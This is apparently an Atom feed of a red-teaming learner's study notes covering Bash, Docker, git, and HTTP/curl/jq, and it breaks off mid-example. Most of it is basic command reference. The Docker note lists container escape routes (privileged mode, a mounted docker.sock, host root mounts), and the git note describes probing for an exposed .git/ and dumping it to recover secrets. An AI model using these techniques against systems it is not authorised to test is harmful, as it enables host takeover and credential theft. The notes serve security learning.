Frekler
Frekler homepage - AI Red Teaming, Techno Music, Motorsport
Zola
2026-07-06T00:00:00+00:00
https://frekler.com/atom.xml
Frekler
Bash
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/bash/
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span>name</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"value"</span><span style="color: #737C73;"> # variable</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> "</span><span>$name</span><span style="color: #8A9A7B;">"</span><span style="color: #737C73;"> # use the variable</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> "Now: </span><span style="color: #9E9B93;">$(</span><span style="color: #8EA4A2;">date</span><span style="color: #9E9B93;">)</span><span style="color: #8A9A7B;">"</span><span style="color: #737C73;"> # substitute a command's output</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Loops</span></span>
<span class="giallo-l"><span style="color: #8992A7;">for</span><span> i</span><span style="color: #8992A7;"> in</span><span style="color: #8A9A7B;"> 1 2 3</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> do</span><span style="color: #8BA4B0;"> echo</span><span style="color: #8A9A7B;"> "num </span><span>$i</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> done</span></span>
<span class="giallo-l"><span style="color: #8992A7;">for</span><span> f</span><span style="color: #8992A7;"> in</span><span style="color: #8A9A7B;"> *.txt</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> do</span><span style="color: #8BA4B0;"> echo</span><span style="color: #8A9A7B;"> "file: </span><span>$f</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> done</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Condition</span></span>
<span class="giallo-l"><span style="color: #8992A7;">if</span><span style="color: #9E9B93;"> [</span><span style="color: #C4B28A;"> -f</span><span> file.txt </span><span style="color: #9E9B93;">];</span><span style="color: #8992A7;"> then</span><span style="color: #8BA4B0;"> echo</span><span style="color: #8A9A7B;"> "exists"</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> fi</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Read a file line by line</span></span>
<span class="giallo-l"><span style="color: #8992A7;">while</span><span style="color: #8BA4B0;"> read</span><span style="color: #8A9A7B;"> line</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> do</span><span style="color: #8BA4B0;"> echo</span><span style="color: #8A9A7B;"> ">> </span><span>$line</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">;</span><span style="color: #8992A7;"> done</span><span style="color: #C4B28A;"> <</span><span> file.txt</span></span></code></pre>
Docker
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/docker/
<pre>
+ Disclaimer -----------------------+
| The content provided is |
| for educational and informational |
| purposes only |
| I do not support |
| or encourage any illegal |
+-----------------------------------+
</pre>
<h2 id="core-commands">Core commands</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> run -it ubuntu bash</span><span style="color: #737C73;"> # start a container with an interactive shell</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> run -d -p 8080:80 nginx</span><span style="color: #737C73;"> # detached; map host:container port</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> ps</span><span style="color: #737C73;"> # running containers (docker ps -a = all)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> images</span><span style="color: #737C73;"> # local images</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> exec -it</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">i</span><span>d</span><span style="color: #C4B28A;">></span><span style="color: #8A9A7B;"> bash</span><span style="color: #737C73;"> # shell into a running container</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> logs</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">i</span><span>d</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # container output</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> build -t myimg .</span><span style="color: #737C73;"> # build an image from ./Dockerfile</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> pull</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">im</span><span>g</span><span style="color: #C4B28A;">></span><span style="color: #8A9A7B;"> / docker push</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">im</span><span>g</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # fetch / publish an image</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> inspect</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">i</span><span>d</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # full JSON: env vars, mounts, network</span></span></code></pre><h2 id="dockerfile">Dockerfile</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="docker"><span class="giallo-l"><span style="color: #949FB5;">FROM</span><span> python:3.12-slim</span></span>
<span class="giallo-l"><span style="color: #949FB5;">WORKDIR</span><span> /app</span></span>
<span class="giallo-l"><span style="color: #949FB5;">COPY</span><span> . .</span></span>
<span class="giallo-l"><span style="color: #949FB5;">RUN</span><span> pip install -r requirements.txt</span></span>
<span class="giallo-l"><span style="color: #949FB5;">EXPOSE</span><span> 8000</span></span>
<span class="giallo-l"><span style="color: #949FB5;">CMD</span><span> [</span><span style="color: #8A9A7B;">"python"</span><span>, </span><span style="color: #8A9A7B;">"app.py"</span><span>]</span></span></code></pre><h2 id="volumes-ports">Volumes & ports</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> run -v /host/path:/container/path img</span><span style="color: #737C73;"> # bind-mount a host directory</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> run -v mydata:/data img</span><span style="color: #737C73;"> # named volume (persists)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> run -p 8080:80 img</span><span style="color: #737C73;"> # host:container port map</span></span></code></pre><h2 id="docker-compose">docker-compose</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="yaml"><span class="giallo-l"><span style="color: #C4B28A;">services</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> web</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> build</span><span style="color: #9E9B93;">:</span><span style="color: #A292A3;"> .</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> ports</span><span style="color: #9E9B93;">: [</span><span style="color: #8A9A7B;">"8000:8000"</span><span style="color: #9E9B93;">]</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> db</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> image</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> postgres:16</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> environment</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #C4B28A;"> POSTGRES_PASSWORD</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> secret</span><span style="color: #737C73;"> # ← secrets in compose files are a common find</span></span></code></pre><pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> compose up -d</span><span style="color: #737C73;"> # start the stack</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> compose down</span><span style="color: #737C73;"> # stop & remove</span></span></code></pre><h2 id="image-layers">Image layers</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> history --no-trunc</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">im</span><span>g</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # the commands that built each layer</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">docker</span><span style="color: #8A9A7B;"> inspect</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">im</span><span>g</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # env vars (often hold tokens/passwords)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">dive</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">im</span><span>g</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # explore layer-by-layer file contents</span></span></code></pre><h2 id="isolation-primitives">Isolation primitives</h2>
<ul>
<li><strong>namespaces</strong> - isolate what a process <strong>sees</strong> (PIDs, mounts, network, users).</li>
<li><strong>cgroups</strong> - limit what it can <strong>use</strong> (CPU, memory, I/O).</li>
<li><strong>capabilities</strong> - root's powers split into units; containers drop most by default; <code>--cap-add</code> re-grants them, and <strong><code>CAP_SYS_ADMIN</code></strong> is effectively root-equivalent.</li>
</ul>
<h2 id="escape-vectors-foundations">Escape vectors (foundations)</h2>
<ul>
<li><strong><code>--privileged</code></strong> - disables most isolation; the container can reach host devices → escape to host.</li>
<li><strong>Mounted <code>docker.sock</code></strong> (<code>-v /var/run/docker.sock:/var/run/docker.sock</code>) - the container can drive the Docker daemon, so it can start a <strong>new</strong> container that mounts the host filesystem as root = host takeover.</li>
<li><strong>Host mounts</strong> (<code>-v /:/host</code>) - direct read/write to the host filesystem.</li>
<li>Hands-on escapes (<code>nsenter</code>, <code>LD_PRELOAD</code>, kernel CVEs, <code>CAP_SYS_ADMIN</code> abuse).</li>
</ul>
<h2 id="materials">Materials</h2>
<ul>
<li>Docker (Get Started) <a rel="external" href="https://docs.docker.com/get-started/">https://docs.docker.com/get-started/</a></li>
<li>dive (layer explorer) <a rel="external" href="https://github.com/wagoodman/dive">https://github.com/wagoodman/dive</a></li>
</ul>
git
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/git/
<h2 id="base">Base</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> clone https://github.com/user/repo.git</span><span style="color: #737C73;"> # copy a remote repo</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> init</span><span style="color: #737C73;"> # start a new repo</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> status</span><span style="color: #737C73;"> # what changed</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> add file</span><span style="color: #737C73;"> # stage changes (git add -A = everything)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> commit -m "msg"</span><span style="color: #737C73;"> # record a snapshot</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> push</span><span style="color: #737C73;"> # send commits to the remote</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> pull</span><span style="color: #737C73;"> # fetch + merge remote changes</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> log --oneline</span><span style="color: #737C73;"> # commit history</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> diff</span><span style="color: #737C73;"> # unstaged changes</span></span></code></pre><h2 id="branches">Branches</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> branch</span><span style="color: #737C73;"> # list branches</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> checkout -b feature</span><span style="color: #737C73;"> # create + switch to a branch</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> switch main</span><span style="color: #737C73;"> # switch branch (newer syntax)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> merge feature</span><span style="color: #737C73;"> # merge a branch into the current one</span></span></code></pre><h2 id="gitignore">.gitignore</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="plain"><span class="giallo-l"><span>.env</span></span>
<span class="giallo-l"><span>*.key</span></span>
<span class="giallo-l"><span>__pycache__/</span></span>
<span class="giallo-l"><span>node_modules/</span></span></code></pre>
<blockquote>
<p><code>.gitignore</code> only stops <strong>future</strong> tracking. A secret that was <strong>already committed stays in history</strong> even after you delete the file.</p>
</blockquote>
<h2 id="remotes-github-gitlab-bitbucket">Remotes: GitHub / GitLab / Bitbucket</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> remote -v</span><span style="color: #737C73;"> # show configured remotes</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> remote add origin</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">ur</span><span>l</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # link a remote</span></span></code></pre><h2 id="history">History</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> log -p</span><span style="color: #737C73;"> # full diff of every commit</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> log --all --oneline</span><span style="color: #737C73;"> # every branch's history</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> diff</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">ol</span><span>d</span><span style="color: #C4B28A;">> <</span><span style="color: #8A9A7B;">ne</span><span>w</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # what changed between two commits</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> reflog</span><span style="color: #737C73;"> # local ref history - recover "deleted" commits</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">git</span><span style="color: #8A9A7B;"> show</span><span style="color: #C4B28A;"> <</span><span style="color: #8A9A7B;">commi</span><span>t</span><span style="color: #C4B28A;">></span><span style="color: #737C73;"> # inspect a specific commit</span></span></code></pre><h2 id="exposed-git-on-a-web-server">Exposed <code>.git/</code> on a web server</h2>
<ul>
<li>
<p>Recon check: request <code>https://target/.git/HEAD</code> - a <code>200</code> returning <code>ref: ...</code> means it's exposed.</p>
</li>
<li>
<p><strong>git-dumper</strong> downloads an exposed <code>.git/</code> and rebuilds the repo <a rel="external" href="https://github.com/arthaud/git-dumper">https://github.com/arthaud/git-dumper</a></p>
</li>
<li>
<p><strong>GitTools</strong> (Dumper / Extractor / Finder) - same idea, plus discovery.</p>
</li>
</ul>
<h2 id="secret-scanners">Secret scanners</h2>
<ul>
<li><strong>gitleaks</strong> fast regex/entropy-based secret detection <a rel="external" href="https://github.com/gitleaks/gitleaks">https://github.com/gitleaks/gitleaks</a></li>
<li><strong>trufflehog</strong> scans history and can verify whether a found secret is still live <a rel="external" href="https://github.com/trufflesecurity/trufflehog">https://github.com/trufflesecurity/trufflehog</a></li>
</ul>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">gitleaks</span><span style="color: #8A9A7B;"> detect --source .</span><span style="color: #737C73;"> # scan the current repo + history</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">trufflehog</span><span style="color: #8A9A7B;"> git file://.</span><span style="color: #737C73;"> # scan local git history</span></span></code></pre><h2 id="materials">Materials</h2>
<ul>
<li>Pro Git book <a rel="external" href="https://git-scm.com/book">https://git-scm.com/book</a></li>
</ul>
HTTP, curl, jq
2026-07-06T00:00:00+00:00
2026-07-06T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/http-curl-jq/
<h2 id="http">HTTP</h2>
<p><strong>Request</strong></p>
<p>= method + path + headers + (body)</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="plain"><span class="giallo-l"><span>METHOD path HTTP/VERSION</span></span>
<span class="giallo-l"><span>Host: ... (mandatory)</span></span>
<span class="giallo-l"><span>Headers...</span></span>
<span class="giallo-l"><span>\r\n\r\n (empty line)</span></span>
<span class="giallo-l"><span>message body</span></span></code></pre>
<p>Example:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="http"><span class="giallo-l"><span style="color: #8992A7;">GET</span><span> /api/users</span><span style="color: #8992A7;"> HTTP</span><span>/</span><span style="color: #A292A3;">1.1</span></span>
<span class="giallo-l"><span style="color: #C4B28A;">Host</span><span style="color: #8992A7;">:</span><span style="color: #8A9A7B;"> example.com</span></span>
<span class="giallo-l"><span style="color: #C4B28A;">Authorization</span><span style="color: #8992A7;">:</span><span style="color: #8A9A7B;"> Bearer eyJ...</span></span>
<span class="giallo-l"><span style="color: #C4B28A;">Accept</span><span style="color: #8992A7;">:</span><span style="color: #8A9A7B;"> application/json</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9E9B93;">{"</span><span style="color: #8EA4A2;">users</span><span style="color: #9E9B93;">": [</span><span style="color: #E82424;"> ...</span><span style="color: #9E9B93;"> ]}</span></span></code></pre>
<p><strong>Response</strong></p>
<p>= status code + headers + (body)</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="plain"><span class="giallo-l"><span>HTTP/VERSION STATUS-CODE REASON-PHRASE</span></span>
<span class="giallo-l"><span>Response Headers</span></span>
<span class="giallo-l"><span>\r\n\r\n (empty line)</span></span>
<span class="giallo-l"><span>message body</span></span></code></pre>
<p>Example:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="http"><span class="giallo-l"><span style="color: #8992A7;">HTTP</span><span>/</span><span style="color: #A292A3;">1.1 200</span><span style="color: #8A9A7B;"> OK</span></span>
<span class="giallo-l"><span style="color: #C4B28A;">Content-Type</span><span style="color: #8992A7;">:</span><span style="color: #8A9A7B;"> application/json</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9E9B93;">{"</span><span style="color: #8EA4A2;">users</span><span style="color: #9E9B93;">": [</span><span style="color: #E82424;"> ...</span><span style="color: #9E9B93;"> ]}</span></span></code></pre>
<blockquote>
<p>HTTP transmits all data in plaintext over a TCP connection (port <strong>80</strong>)</p>
</blockquote>
<blockquote>
<p>HTTPS is the HTTP wrapped in TLS encryption layer (port <strong>443</strong>)</p>
</blockquote>
<h2 id="websocket">WebSocket</h2>
<p>A <strong>WebSocket</strong> upgrades an HTTP connection (status <strong>101 Switching Protocols</strong>) into a persistent two-way TCP channel, so the server can also push data on its own (<code>ws://</code> / <code>wss://</code>).</p>
<h2 id="methods">Methods</h2>
<table><thead><tr><th>Method</th><th>Purpose</th></tr></thead><tbody>
<tr><td><code>GET</code></td><td>retrieve data (no change)</td></tr>
<tr><td><code>POST</code></td><td>create / submit data</td></tr>
<tr><td><code>PUT</code></td><td>replace a resource entirely</td></tr>
<tr><td><code>PATCH</code></td><td>modify partially</td></tr>
<tr><td><code>DELETE</code></td><td>delete</td></tr>
</tbody></table>
<blockquote>
<p>Idempotency:
An idempotent request gives the same result no matter how many times you send it. <strong>GET, PUT, DELETE</strong> are idempotent; <strong>POST</strong> and <strong>PATCH</strong> usually are not (repeating them can create duplicates or stack changes).</p>
</blockquote>
<h3 id="api-styles">API styles</h3>
<table><thead><tr><th>Style</th><th>Transport / format</th><th>Notes</th></tr></thead><tbody>
<tr><td><strong>REST</strong></td><td>HTTP + JSON (usually)</td><td>resource URLs + HTTP methods; caches well</td></tr>
<tr><td><strong>SOAP</strong></td><td>HTTP + XML</td><td>older, verbose, envelope-wrapped; described by WSDL</td></tr>
<tr><td><strong>gRPC</strong></td><td>HTTP/2 + Protocol Buffers (binary)</td><td>fast, needs a <code>.proto</code> schema; not human-readable</td></tr>
<tr><td><strong>JSON-RPC</strong></td><td>HTTP + JSON</td><td>call a method by name with params; <strong>MCP uses this</strong></td></tr>
<tr><td><strong>GraphQL</strong></td><td>HTTP + JSON</td><td>single endpoint; client asks for exactly the fields it wants</td></tr>
</tbody></table>
<h2 id="status-codes">Status codes</h2>
<table><thead><tr><th style="text-align: center">Class</th><th>Meaning</th></tr></thead><tbody>
<tr><td style="text-align: center"><strong>2xx</strong></td><td>success</td></tr>
<tr><td style="text-align: center"><strong>3xx</strong></td><td>redirect</td></tr>
<tr><td style="text-align: center"><strong>4xx</strong></td><td>client error (you asked wrong / no permission)</td></tr>
<tr><td style="text-align: center"><strong>5xx</strong></td><td>server error</td></tr>
</tbody></table>
<p><strong>Key ones:</strong></p>
<table><thead><tr><th>Code</th><th>Meaning</th></tr></thead><tbody>
<tr><td>101 Switching Protocols</td><td>protocol upgrade (e.g. WebSocket handshake)</td></tr>
<tr><td>200 OK</td><td>success</td></tr>
<tr><td>201 Created</td><td>resource created</td></tr>
<tr><td>301 / 302</td><td>redirect (permanent / temporary)</td></tr>
<tr><td>304 Not Modified</td><td>your cached copy is still valid - reuse it (caching note below)</td></tr>
<tr><td>400 Bad Request</td><td>malformed request</td></tr>
<tr><td>401 Unauthorized</td><td><strong>not authenticated</strong> (who are you?)</td></tr>
<tr><td>403 Forbidden</td><td>authenticated, but <strong>not allowed</strong></td></tr>
<tr><td>404 Not Found</td><td>resource doesn't exist</td></tr>
<tr><td>405 Method Not Allowed</td><td>endpoint exists, but not for this method (e.g. PATCH unsupported)</td></tr>
<tr><td>422 Unprocessable Entity</td><td>body understood but semantically wrong (unknown / invalid fields)</td></tr>
<tr><td>429 Too Many Requests</td><td>rate limit hit</td></tr>
<tr><td>500 Internal Server Error</td><td>server crashed</td></tr>
<tr><td>503 Service Unavailable</td><td>server down or overloaded</td></tr>
</tbody></table>
<h2 id="headers">Headers</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="plain"><span class="giallo-l"><span>Content-Type: application/json # format of the request/response body</span></span>
<span class="giallo-l"><span>Authorization: Bearer <token> # access token</span></span>
<span class="giallo-l"><span>Accept: application/json # what format I want the response in</span></span>
<span class="giallo-l"><span>User-Agent: ... # what the request is sent with</span></span></code></pre>
<blockquote>
<p>[!note] Caching (why see 304)
The server may tag a response with <code>ETag: "abc"</code>. Next time, the browser sends <code>If-None-Match: "abc"</code>; if nothing changed, the server replies <strong>304 Not Modified</strong> and the cached copy is reused. To force a fresh fetch, send <code>Cache-Control: no-cache</code> (and legacy <code>Pragma: no-cache</code>).</p>
</blockquote>
<h2 id="curl">curl</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> http://example.com</span><span style="color: #737C73;"> # GET, print the body</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -i http://example.com</span><span style="color: #737C73;"> # + response headers</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -v http://example.com</span><span style="color: #737C73;"> # verbose (full request and response)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -s http://example.com</span><span style="color: #737C73;"> # silent (no progress bar)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -L http://example.com</span><span style="color: #737C73;"> # follow redirects</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -o out.json http://example.com</span><span style="color: #737C73;"> # save to a file</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -X POST http://example.com/api</span><span style="color: #737C73;"> # set the method</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -I http://example.com</span><span style="color: #737C73;"> # HEAD - headers only, no body</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -X OPTIONS -i http://example.com/api</span><span style="color: #737C73;"> # which methods does this endpoint allow?</span></span></code></pre>
<p>Headers and body:</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -H "Accept: application/json" http://example.com/api</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -H "Authorization: Bearer TOKEN" http://example.com/api</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># POST with a JSON body (trailing backslash `\`):</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -X POST http://example.com/api/chat</span><span style="color: #949FB5;"> \</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;"> -H "Content-Type: application/json"</span><span style="color: #949FB5;"> \</span></span>
<span class="giallo-l"><span style="color: #8A9A7B;"> -d '{"message": "hello"}'</span></span></code></pre><h2 id="jq">jq</h2>
<p>JSON arrives as one blob - <code>jq</code> parses it and pulls out what you need.</p>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> '{"name":"Pablo","age":33}'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> '.'</span><span style="color: #737C73;"> # pretty-print</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> '{"name":"Pablo"}'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> '.name'</span><span style="color: #737C73;"> # a field's value -> "Pablo"</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> '{"name":"Pablo"}'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> -r '.name'</span><span style="color: #737C73;"> # raw, no quotes -> Pablo</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> '{"a":[1,2,3]}'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> '.a[]'</span><span style="color: #737C73;"> # all array elements</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> '[{"n":"x"},{"n":"y"}]'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> '.[].n'</span><span style="color: #737C73;"> # field n from each object</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">echo</span><span style="color: #8A9A7B;"> '[{"n":"x","ok":true}]'</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> '.[] | select(.ok)'</span><span style="color: #737C73;"> # filter by condition</span></span></code></pre><table><thead><tr><th>Expression</th><th>What it does</th></tr></thead><tbody>
<tr><td><code>.</code></td><td>the whole JSON (pretty-prints)</td></tr>
<tr><td><code>.field</code></td><td>a field's value</td></tr>
<tr><td><code>.a.b</code></td><td>a nested field</td></tr>
<tr><td><code>.array[]</code></td><td>all array elements</td></tr>
<tr><td><code>.array[].name</code></td><td>the <code>name</code> field from each element</td></tr>
<tr><td><code>select(.x)</code></td><td>keep only elements where the condition is true</td></tr>
<tr><td><code>keys</code></td><td>an object's keys</td></tr>
<tr><td><code>length</code></td><td>array / string length</td></tr>
<tr><td><code>-r</code></td><td>raw output (no quotes) - important for feeding into bash</td></tr>
</tbody></table>
<h2 id="combining-curl-jq-a-bash-loop">Combining curl + jq + a bash loop</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="shellscript"><span class="giallo-l"><span style="color: #737C73;"># Single request: pull a field out of the response</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">curl</span><span style="color: #8A9A7B;"> -s https://api.example.com/users</span><span style="color: #C4B28A;"> |</span><span style="color: #8EA4A2;"> jq</span><span style="color: #8A9A7B;"> -r '.[].id'</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Loop: go over every ID and fetch each user</span></span>
